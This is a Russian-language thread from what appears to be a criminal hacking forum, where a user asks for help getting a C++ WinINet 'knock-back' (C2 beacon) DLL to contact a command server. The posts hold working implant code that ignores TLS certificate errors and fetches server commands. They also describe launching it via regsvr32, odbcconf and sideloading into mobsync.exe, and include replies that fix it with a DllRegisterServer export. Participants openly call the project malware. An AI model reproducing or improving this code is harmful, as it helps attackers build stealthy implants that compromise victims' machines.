• XSS.stack #1 – первый литературный журнал от юзеров форума

Помогите разобраться с работой wininet запускаемой из dll

user_47

(L3) cache
Пользователь
Регистрация
25.06.2023
Сообщения
210
Решения
2
Реакции
93
Гарант сделки
2
Всем доброго времени суток!

Пытаюсь сделать в своём творении отстук через wininet до сервера. Когда собираю билд как исполняемый файл, всё изумительно отрабатывает.
C++:
#include <windows.h>
#include <wininet.h>
#include <stdio.h>
#include <string>


#pragma comment (lib, "Wininet.lib")




char* send_to_serv(const char* host, const char* data_for_send, int& err) {

    DWORD dwFileSize = BUFSIZ;
    char* buffer = new char[dwFileSize + 1];

    HINTERNET hSession = InternetOpen(
        L"Mozilla/5.0",
        INTERNET_OPEN_TYPE_PRECONFIG,
        NULL,
        NULL,
        0);


    HINTERNET hConnect = InternetConnectA(
        hSession,
        //"www.google.com"
        //L"192.168.0.104",
        host,
        INTERNET_DEFAULT_HTTPS_PORT, // THIS
        "",
        "",
        INTERNET_SERVICE_HTTP,
        0,
        0);


    HINTERNET hHttpFile = HttpOpenRequestA(
        hConnect,
        "GET",
        data_for_send,
        NULL,
        NULL,
        NULL,
        INTERNET_FLAG_SECURE, // THIS
        0);


    DWORD dwFlags;
    DWORD dwBuffLen = sizeof(dwFlags);
    InternetQueryOption(hHttpFile, INTERNET_OPTION_SECURITY_FLAGS, (LPVOID)&dwFlags, &dwBuffLen);
    dwFlags |= SECURITY_FLAG_IGNORE_UNKNOWN_CA | SECURITY_FLAG_IGNORE_CERT_CN_INVALID;
    InternetSetOption(hHttpFile, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof(dwFlags));


    //while (!HttpSendRequest(hHttpFile, NULL, 0, 0, 0)) {
    if (!HttpSendRequest(hHttpFile, NULL, 0, 0, 0)) {
        printf("HttpSendRequest error : (%lu)\n", GetLastError());

        InternetErrorDlg(
            GetDesktopWindow(),
            hHttpFile,
            ERROR_INTERNET_CLIENT_AUTH_CERT_NEEDED,
            FLAGS_ERROR_UI_FILTER_FOR_ERRORS |
            FLAGS_ERROR_UI_FLAGS_GENERATE_DATA |
            FLAGS_ERROR_UI_FLAGS_CHANGE_OPTIONS,
            NULL);
        err = -1;
    }
    else
    {
        while (true) {
            DWORD dwBytesRead;
            BOOL bRead;

            bRead = InternetReadFile(
                hHttpFile,
                buffer,
                dwFileSize + 1,
                &dwBytesRead);

            if (dwBytesRead == 0) {
                break;
            }

            if (!bRead) {
                printf("InternetReadFile error : <%lu>\n", GetLastError());
                err = -1;
                break;
            }
            else {
                buffer[dwBytesRead] = 0;
            }
        }
    }

    InternetCloseHandle(hHttpFile);
    InternetCloseHandle(hConnect);
    InternetCloseHandle(hSession);
    if (err == -1) {
        //buffer[0] = '-';
        buffer[0] = '1';
    }

    return buffer;
}


int main()
{
    std::string host = "192.168.0.106";                    // адрес сервера
    std::string endpoint = "/url_connect";                // куда конектимся на серваке
    std::string value_1 = "id";                            // обозначение первого параметра отправляемого серверу
    std::string value_2 = "info";                        // обозначение второго параметра отправляемого серверу
    std::string data_for_server;                        // данные для сервера

    int error_read_cmd;                                    // статус ошибки
    std::string command;                                // команда от сервера


    data_for_server = endpoint + "?" + value_1 + "=777&" + value_2 + "=100";

    command = send_to_serv(host.c_str(), data_for_server.c_str(), error_read_cmd);

    if (error_read_cmd != -1) {
        MessageBox(NULL, L"command received", L"Message", S_OK);
    }
    else {
        MessageBox(NULL, L"Error receiving command", L"Message", S_OK);
    }

}

Дальше делаю проект под dll с таким кодом:

C++:
#include "pch.h"
#include <windows.h>
#include <wininet.h>
#include <stdio.h>
#include <string>


#pragma comment (lib, "Wininet.lib")

char* send_to_serv(const char* host, const char* data_for_send, int& err) {

    DWORD dwFileSize = BUFSIZ;
    char* buffer = new char[dwFileSize + 1];

    HINTERNET hSession = InternetOpen(
        L"Mozilla/5.0",
        INTERNET_OPEN_TYPE_PRECONFIG,
        NULL,
        NULL,
        0);


    HINTERNET hConnect = InternetConnectA(
        hSession,
        //"www.google.com",
     
        //L"192.168.0.104",
        host,
        INTERNET_DEFAULT_HTTPS_PORT, // THIS
        "",
        "",
        INTERNET_SERVICE_HTTP,
        0,
        0);


    HINTERNET hHttpFile = HttpOpenRequestA(
        hConnect,
        "GET",
        data_for_send,
        NULL,
        NULL,
        NULL,
        INTERNET_FLAG_SECURE, // THIS
        0);


    DWORD dwFlags;
    DWORD dwBuffLen = sizeof(dwFlags);
    InternetQueryOption(hHttpFile, INTERNET_OPTION_SECURITY_FLAGS, (LPVOID)&dwFlags, &dwBuffLen);
    dwFlags |= SECURITY_FLAG_IGNORE_UNKNOWN_CA | SECURITY_FLAG_IGNORE_CERT_CN_INVALID;
    InternetSetOption(hHttpFile, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof(dwFlags));


    //while (!HttpSendRequest(hHttpFile, NULL, 0, 0, 0)) {
    if (!HttpSendRequest(hHttpFile, NULL, 0, 0, 0)) {
        printf("HttpSendRequest error : (%lu)\n", GetLastError());

        InternetErrorDlg(
            GetDesktopWindow(),
            hHttpFile,
            ERROR_INTERNET_CLIENT_AUTH_CERT_NEEDED,
            FLAGS_ERROR_UI_FILTER_FOR_ERRORS |
            FLAGS_ERROR_UI_FLAGS_GENERATE_DATA |
            FLAGS_ERROR_UI_FLAGS_CHANGE_OPTIONS,
            NULL);
        err = -1;
    }
    else
    {
        while (true) {
            DWORD dwBytesRead;
            BOOL bRead;

            bRead = InternetReadFile(
                hHttpFile,
                buffer,
                dwFileSize + 1,
                &dwBytesRead);

            if (dwBytesRead == 0) {
                break;
            }

            if (!bRead) {
                printf("InternetReadFile error : <%lu>\n", GetLastError());
                err = -1;
                break;
            }
            else {
                buffer[dwBytesRead] = 0;
            }
        }
    }

    InternetCloseHandle(hHttpFile);
    InternetCloseHandle(hConnect);
    InternetCloseHandle(hSession);
    if (err == -1) {
        //buffer[0] = '-';
        buffer[0] = '1';
    }

    return buffer;
}


BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    {
        std::string host = "192.168.0.106";                    // адрес сервера
        std::string endpoint = "/url_connect";                // куда конектимся на серваке
        std::string value_1 = "id";                            // обозначение первого параметра отправляемого серверу
        std::string value_2 = "info";                        // обозначение второго параметра отправляемого серверу
        std::string data_for_server;                        // данные для сервера

        int error_read_cmd;                                    // статус ошибки
        std::string command;                                // команда от сервера


        data_for_server = endpoint + "?" + value_1 + "=777&" + value_2 + "=100";

        command = send_to_serv(host.c_str(), data_for_server.c_str(), error_read_cmd);

        if (error_read_cmd != -1) {
            MessageBox(NULL, L"command received", L"Message", S_OK);
        }
        else {
            MessageBox(NULL, L"Error receiving command", L"Message", S_OK);
        }
    }
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

Компилируется такое без проблем. Запускать пытаюсь несколькими способами (команды из папки где лежит дллка):

Код:
odbcconf /a  {REGSVR wininet_dll.dll}

regsvr32 wininet_dll.dll

Даже пробовал инжект, который раньше отрабатывал на других дллках (в том числе сделаных из msfvenom):
Код:
mobsync.exe ➡️ propsys.dll

При запуске до сервака коннект не долетает. Сообщение на экран не выскакивает. В командной строке как будто команда завершается.

В case DLL_PROCESS_ATTACH: коментил все строки кроме:
Код:
MessageBox(NULL, L"command received", L"Message", S_OK);

Тогда мессага вываливается на экран.

Подскажите что делаю не так?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Подскажите что делаю не так?
Выполняешь код внутри DllMain, как минимум то, что вызов DllMain происходит внутри блокировки загрузчика, должно настораживать, не? К тому же ты не проверяешь, успешно ли у тебя вообще все хендлы открылись, или нет.
 
MSDN:
Like all other aspects of the WinINet API, this function cannot be safely called from within DllMain or the constructors and destructors of global objects.
Попробуй в отдельном потоке.
 
Через winsoks в отдельном потоке попробуй сделать. Либо как вариант через поток но в моем случае это не когда нормально не работало с winnet)
 
Последнее редактирование:
1.jpg
 
Выполняешь код внутри DllMain, как минимум то, что вызов DllMain происходит внутри блокировки загрузчика, должно настораживать, не? К тому же ты не проверяешь, успешно ли у тебя вообще все хендлы открылись, или нет.
Про проверку хендлов справедливое замечание) в проекте это всё есть. в примере опустил для упрощения. Про вызов DllMain внутри блокировки загрузчика почитал. Даже предположу что примерно понял почему там лучше не делать ничего объёмного и трудоёмкого! Думается работа с сетью в любом её проявлении скорее относится к растянутому во времени. Тем не менее решил всё таки попробовать выполнить такое ))))))))

MSDN:
Like all other aspects of the WinINet API, this function cannot be safely called from within DllMain or the constructors and destructors of global objects.
Попробуй в отдельном потоке.
Попытка запуска функции в потоке выдала отрицательный результат. Пробовал два варианта использования потоков:
C++:
DWORD WINAPI func_in_thread(LPVOID lpParam) {
    MessageBox(NULL, L"thread job", L"Message", S_OK);
    return 0;
}

MessageBox(NULL, L"run thread", L"Message", S_OK);
        //вариант 1
 CreateThread(NULL, 0, func_in_thread, NULL, 0, NULL);

        // вариант 2
 std::thread th(supeR_func_in_thread);
 th.join();

В первом варианте результат был отрицательным даже если в функцию помещал простой мессагебокс. Правда тут приложение под которым запускал библиотеку завершалоось и не болталось в диспетчере задачь.

Во втором варианте результат тот же. Только приложение висело в диспетчере задачь. Приходилось его руками вырубать, чтобы можно было пересобрать библиотеку.

Через winsoks в отдельном потоке попробуй сделать. Либо как вариант через поток но в моем случае это не когда нормально не работало с winnet)
После отрицательных результатов с запуском функции в потоке решил попробовать вместо wininet поэксплуатировать winhttp. Результат оказался аналогичный. Почитал про винсокс. Сразу встал вопрос как к нему прикрутить SSL? С openssl на винде не хочется связываться. Был отрицательный опыт. Какие там ещё могут быть пути?

библиотека curl? Сильно размер билда она раздувает?

Видимо моя затея с запуском сетевого хозяйства в DllMain является бредовой идеей. Попробовал свою писанину запускать через extern "C" __declspec(dllexport). Всё отрабатывает как часы. Придётся ковырять нужные экзешки и смотреть какие функции они пытаются вызвать из нужных библиотек.

Всем спасибо за помощь!

P.S.: чтобы не плодить отдельную тему, напишу тут. Есть ли какое-либо принципиальное отличие между WinInet и WinHttp библиотеками?
 
Последнее редактирование:
После отрицательных результатов с запуском функции в потоке решил попробовать вместо wininet поэксплуатировать winhttp. Результат оказался аналогичный. Почитал про винсокс. Сразу встал вопрос как к нему прикрутить SSL? С openssl на винде не хочется связываться. Был отрицательный опыт. Какие там ещё могут быть пути?
Не как. Как вариант можно байт код вызвать и попробывать а в нем реализовать уже все что нужно. Либо еще так
C++:
DWORD WINAPI InterpreterThread(LPVOID param) {
    // запускаем сетевуху
    return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) {
    if (fdwReason == DLL_PROCESS_ATTACH) {
        DisableThreadLibraryCalls(hinstDLL);
        HANDLE hThread = CreateThread(NULL, 0, InterpreterThread, NULL, 0, NULL);
        if (hThread) CloseHandle(hThread);
    }
    return TRUE;
}
 
Последнее редактирование:
У человека даже MessageBox не пашет. Это беда.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
библиотека curl? Сильно размер билда она раздувает?
Какой курл в длл, там вообще может быть миллион нюансов с TLS или еще какой ерундой.

Почитал про винсокс. Сразу встал вопрос как к нему прикрутить SSL?
https://xss.pro/threads/87975/post-660523

Видимо моя затея с запуском сетевого хозяйства в DllMain является бредовой идеей.

Проверяй каждую функцию, что она возвращает, так найдешь ошибку; если впадлу, собери дллку с PDB и отстуком на условный localhost и залей сюда, подебажу.
Или сам пробуй, если хочешь кодить малварь, обязан уметь и знать отладчик.

Есть ли какое-либо принципиальное отличие между WinInet и WinHttp библиотеками?
Много каких, читай мсдн, винхттп больше для служб; для общения с админкой по сути разницы особой нет.
 
Всем доброго времени суток!

Пытаюсь сделать в своём творении отстук через wininet до сервера. Когда собираю билд как исполняемый файл, всё изумительно отрабатывает.
C++:
#include <windows.h>
#include <wininet.h>
#include <stdio.h>
#include <string>


#pragma comment (lib, "Wininet.lib")




char* send_to_serv(const char* host, const char* data_for_send, int& err) {

    DWORD dwFileSize = BUFSIZ;
    char* buffer = new char[dwFileSize + 1];

    HINTERNET hSession = InternetOpen(
        L"Mozilla/5.0",
        INTERNET_OPEN_TYPE_PRECONFIG,
        NULL,
        NULL,
        0);


    HINTERNET hConnect = InternetConnectA(
        hSession,
        //"www.google.com"
        //L"192.168.0.104",
        host,
        INTERNET_DEFAULT_HTTPS_PORT, // THIS
        "",
        "",
        INTERNET_SERVICE_HTTP,
        0,
        0);


    HINTERNET hHttpFile = HttpOpenRequestA(
        hConnect,
        "GET",
        data_for_send,
        NULL,
        NULL,
        NULL,
        INTERNET_FLAG_SECURE, // THIS
        0);


    DWORD dwFlags;
    DWORD dwBuffLen = sizeof(dwFlags);
    InternetQueryOption(hHttpFile, INTERNET_OPTION_SECURITY_FLAGS, (LPVOID)&dwFlags, &dwBuffLen);
    dwFlags |= SECURITY_FLAG_IGNORE_UNKNOWN_CA | SECURITY_FLAG_IGNORE_CERT_CN_INVALID;
    InternetSetOption(hHttpFile, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof(dwFlags));


    //while (!HttpSendRequest(hHttpFile, NULL, 0, 0, 0)) {
    if (!HttpSendRequest(hHttpFile, NULL, 0, 0, 0)) {
        printf("HttpSendRequest error : (%lu)\n", GetLastError());

        InternetErrorDlg(
            GetDesktopWindow(),
            hHttpFile,
            ERROR_INTERNET_CLIENT_AUTH_CERT_NEEDED,
            FLAGS_ERROR_UI_FILTER_FOR_ERRORS |
            FLAGS_ERROR_UI_FLAGS_GENERATE_DATA |
            FLAGS_ERROR_UI_FLAGS_CHANGE_OPTIONS,
            NULL);
        err = -1;
    }
    else
    {
        while (true) {
            DWORD dwBytesRead;
            BOOL bRead;

            bRead = InternetReadFile(
                hHttpFile,
                buffer,
                dwFileSize + 1,
                &dwBytesRead);

            if (dwBytesRead == 0) {
                break;
            }

            if (!bRead) {
                printf("InternetReadFile error : <%lu>\n", GetLastError());
                err = -1;
                break;
            }
            else {
                buffer[dwBytesRead] = 0;
            }
        }
    }

    InternetCloseHandle(hHttpFile);
    InternetCloseHandle(hConnect);
    InternetCloseHandle(hSession);
    if (err == -1) {
        //buffer[0] = '-';
        buffer[0] = '1';
    }

    return buffer;
}


int main()
{
    std::string host = "192.168.0.106";                    // адрес сервера
    std::string endpoint = "/url_connect";                // куда конектимся на серваке
    std::string value_1 = "id";                            // обозначение первого параметра отправляемого серверу
    std::string value_2 = "info";                        // обозначение второго параметра отправляемого серверу
    std::string data_for_server;                        // данные для сервера

    int error_read_cmd;                                    // статус ошибки
    std::string command;                                // команда от сервера


    data_for_server = endpoint + "?" + value_1 + "=777&" + value_2 + "=100";

    command = send_to_serv(host.c_str(), data_for_server.c_str(), error_read_cmd);

    if (error_read_cmd != -1) {
        MessageBox(NULL, L"command received", L"Message", S_OK);
    }
    else {
        MessageBox(NULL, L"Error receiving command", L"Message", S_OK);
    }

}

Дальше делаю проект под dll с таким кодом:

C++:
#include "pch.h"
#include <windows.h>
#include <wininet.h>
#include <stdio.h>
#include <string>


#pragma comment (lib, "Wininet.lib")

char* send_to_serv(const char* host, const char* data_for_send, int& err) {

    DWORD dwFileSize = BUFSIZ;
    char* buffer = new char[dwFileSize + 1];

    HINTERNET hSession = InternetOpen(
        L"Mozilla/5.0",
        INTERNET_OPEN_TYPE_PRECONFIG,
        NULL,
        NULL,
        0);


    HINTERNET hConnect = InternetConnectA(
        hSession,
        //"www.google.com",
   
        //L"192.168.0.104",
        host,
        INTERNET_DEFAULT_HTTPS_PORT, // THIS
        "",
        "",
        INTERNET_SERVICE_HTTP,
        0,
        0);


    HINTERNET hHttpFile = HttpOpenRequestA(
        hConnect,
        "GET",
        data_for_send,
        NULL,
        NULL,
        NULL,
        INTERNET_FLAG_SECURE, // THIS
        0);


    DWORD dwFlags;
    DWORD dwBuffLen = sizeof(dwFlags);
    InternetQueryOption(hHttpFile, INTERNET_OPTION_SECURITY_FLAGS, (LPVOID)&dwFlags, &dwBuffLen);
    dwFlags |= SECURITY_FLAG_IGNORE_UNKNOWN_CA | SECURITY_FLAG_IGNORE_CERT_CN_INVALID;
    InternetSetOption(hHttpFile, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof(dwFlags));


    //while (!HttpSendRequest(hHttpFile, NULL, 0, 0, 0)) {
    if (!HttpSendRequest(hHttpFile, NULL, 0, 0, 0)) {
        printf("HttpSendRequest error : (%lu)\n", GetLastError());

        InternetErrorDlg(
            GetDesktopWindow(),
            hHttpFile,
            ERROR_INTERNET_CLIENT_AUTH_CERT_NEEDED,
            FLAGS_ERROR_UI_FILTER_FOR_ERRORS |
            FLAGS_ERROR_UI_FLAGS_GENERATE_DATA |
            FLAGS_ERROR_UI_FLAGS_CHANGE_OPTIONS,
            NULL);
        err = -1;
    }
    else
    {
        while (true) {
            DWORD dwBytesRead;
            BOOL bRead;

            bRead = InternetReadFile(
                hHttpFile,
                buffer,
                dwFileSize + 1,
                &dwBytesRead);

            if (dwBytesRead == 0) {
                break;
            }

            if (!bRead) {
                printf("InternetReadFile error : <%lu>\n", GetLastError());
                err = -1;
                break;
            }
            else {
                buffer[dwBytesRead] = 0;
            }
        }
    }

    InternetCloseHandle(hHttpFile);
    InternetCloseHandle(hConnect);
    InternetCloseHandle(hSession);
    if (err == -1) {
        //buffer[0] = '-';
        buffer[0] = '1';
    }

    return buffer;
}


BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    {
        std::string host = "192.168.0.106";                    // адрес сервера
        std::string endpoint = "/url_connect";                // куда конектимся на серваке
        std::string value_1 = "id";                            // обозначение первого параметра отправляемого серверу
        std::string value_2 = "info";                        // обозначение второго параметра отправляемого серверу
        std::string data_for_server;                        // данные для сервера

        int error_read_cmd;                                    // статус ошибки
        std::string command;                                // команда от сервера


        data_for_server = endpoint + "?" + value_1 + "=777&" + value_2 + "=100";

        command = send_to_serv(host.c_str(), data_for_server.c_str(), error_read_cmd);

        if (error_read_cmd != -1) {
            MessageBox(NULL, L"command received", L"Message", S_OK);
        }
        else {
            MessageBox(NULL, L"Error receiving command", L"Message", S_OK);
        }
    }
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

Компилируется такое без проблем. Запускать пытаюсь несколькими способами (команды из папки где лежит дллка):

Код:
odbcconf /a  {REGSVR wininet_dll.dll}

regsvr32 wininet_dll.dll

Даже пробовал инжект, который раньше отрабатывал на других дллках (в том числе сделаных из msfvenom):
Код:
mobsync.exe ➡️ propsys.dll

При запуске до сервака коннект не долетает. Сообщение на экран не выскакивает. В командной строке как будто команда завершается.

В case DLL_PROCESS_ATTACH: коментил все строки кроме:
Код:
MessageBox(NULL, L"command received", L"Message", S_OK);

Тогда мессага вываливается на экран.

Подскажите что делаю не так?
Через регсвр если ты юзаешь то вообще 0 проблем делаешь:

C++:
STDAPI DllRegisterServer(void)

Экспорт и в него логику всю:

C++:
char* send_to_serv(const char* host, const char* data_for_send, int& err) {


    char tmpBuffer[BUFSIZ];

    char* resultBuffer = NULL;

    HINTERNET hSession = InternetOpen(
        L"Mozilla/5.0",
        INTERNET_OPEN_TYPE_PRECONFIG,
        NULL,
        NULL,
        0);


    HINTERNET hConnect = InternetConnectA(
        hSession,
        host,
        INTERNET_DEFAULT_HTTPS_PORT, // THIS
        "",
        "",
        INTERNET_SERVICE_HTTP,
        0,
        0);


    HINTERNET hHttpFile = HttpOpenRequestA(
        hConnect,
        "GET",
        data_for_send,
        NULL,
        NULL,
        NULL,
        INTERNET_FLAG_SECURE, // THIS
        0);


    DWORD dwFlags;
    DWORD dwBuffLen = sizeof(dwFlags);
    InternetQueryOption(hHttpFile, INTERNET_OPTION_SECURITY_FLAGS, (LPVOID)&dwFlags, &dwBuffLen);
    dwFlags |= SECURITY_FLAG_IGNORE_UNKNOWN_CA | SECURITY_FLAG_IGNORE_CERT_CN_INVALID;
    InternetSetOption(hHttpFile, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof(dwFlags));


    //while (!HttpSendRequest(hHttpFile, NULL, 0, 0, 0)) {
    if (!HttpSendRequest(hHttpFile, NULL, 0, 0, 0)) {
        printf("HttpSendRequest error : (%lu)\n", GetLastError());

        InternetErrorDlg(
            GetDesktopWindow(),
            hHttpFile,
            ERROR_INTERNET_CLIENT_AUTH_CERT_NEEDED,
            FLAGS_ERROR_UI_FILTER_FOR_ERRORS |
            FLAGS_ERROR_UI_FLAGS_GENERATE_DATA |
            FLAGS_ERROR_UI_FLAGS_CHANGE_OPTIONS,
            NULL);
        err = -1;
    }
    else
    {
        DWORD dwTotalBytes = 0;
        while (true) {
            DWORD dwBytesRead;
            BOOL bRead;

            bRead = InternetReadFile(
                hHttpFile,
                tmpBuffer,
                BUFSIZ,
                &dwBytesRead);

           
            if (dwBytesRead == 0) {
                break;
            }

         
            if (!bRead) {
                printf("InternetReadFile error : <%lu>\n", GetLastError());
                err = -1;
                break;
            }
           
            if (!resultBuffer) {
                resultBuffer = new char[dwBytesRead + 1]();
                memcpy(resultBuffer, tmpBuffer, dwBytesRead);
            }
            else {
                char* tmp = new char[dwBytesRead + dwTotalBytes + 1]();
                memcpy(tmp, resultBuffer, dwTotalBytes);
                memcpy(tmp + dwTotalBytes, tmpBuffer, dwBytesRead);
                delete[] resultBuffer;
                resultBuffer = tmp;
            }

            dwTotalBytes += dwBytesRead;
        }
    }

    InternetCloseHandle(hHttpFile);
    InternetCloseHandle(hConnect);
    InternetCloseHandle(hSession);
 

    return resultBuffer;
}

STDAPI DllRegisterServer(void)
{
    std::string host = "api.ipify.org";                    // адрес сервера
    std::string data_for_server;                        // данные для сервера

    int error_read_cmd;                                    // статус ошибки

    data_for_server = "?format=json";

    auto command = send_to_serv(host.c_str(), data_for_server.c_str(), error_read_cmd);

    if (error_read_cmd != -1) {
        MessageBoxA(NULL, command, "Command Received", S_OK);
        delete[] command;
    }
    else {
        MessageBox(NULL, L"Error receiving command", L"Message", S_OK);
    }
    return S_OK;
}

exps.def:

Код:
LIBRARY   TEST
EXPORTS
    DllRegisterServer


screen_1.png
 
Через регсвр если ты юзаешь то вообще 0 проблем делаешь:
По предложенному тобой методу всё действительно работает без проблем. Главное с дефовским файликом разобраться. За предложенный вариант респект!

Проверяй каждую функцию, что она возвращает, так найдешь ошибку; если впадлу, собери дллку с PDB и отстуком на условный localhost и залей сюда, подебажу.
Или сам пробуй, если хочешь кодить малварь, обязан уметь и знать отладчик.
Сейчас пока нет времени углубляться в этот вопрос. Есть два рабочих варианта. Остановлюсь на них.
За наводку про сборку ддлки с PDB огромное спасибо! почитал, интересная штука. как будет время попробую на практике её.

Не как. Как вариант можно байт код вызвать и попробывать а в нем реализовать уже все что нужно. Либо еще так
Видимо у меня с запуском потоков из длл беда какая то. Не запускается функция. Пока некогда с этим разбираться. За предложенный вариант благодарность!
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх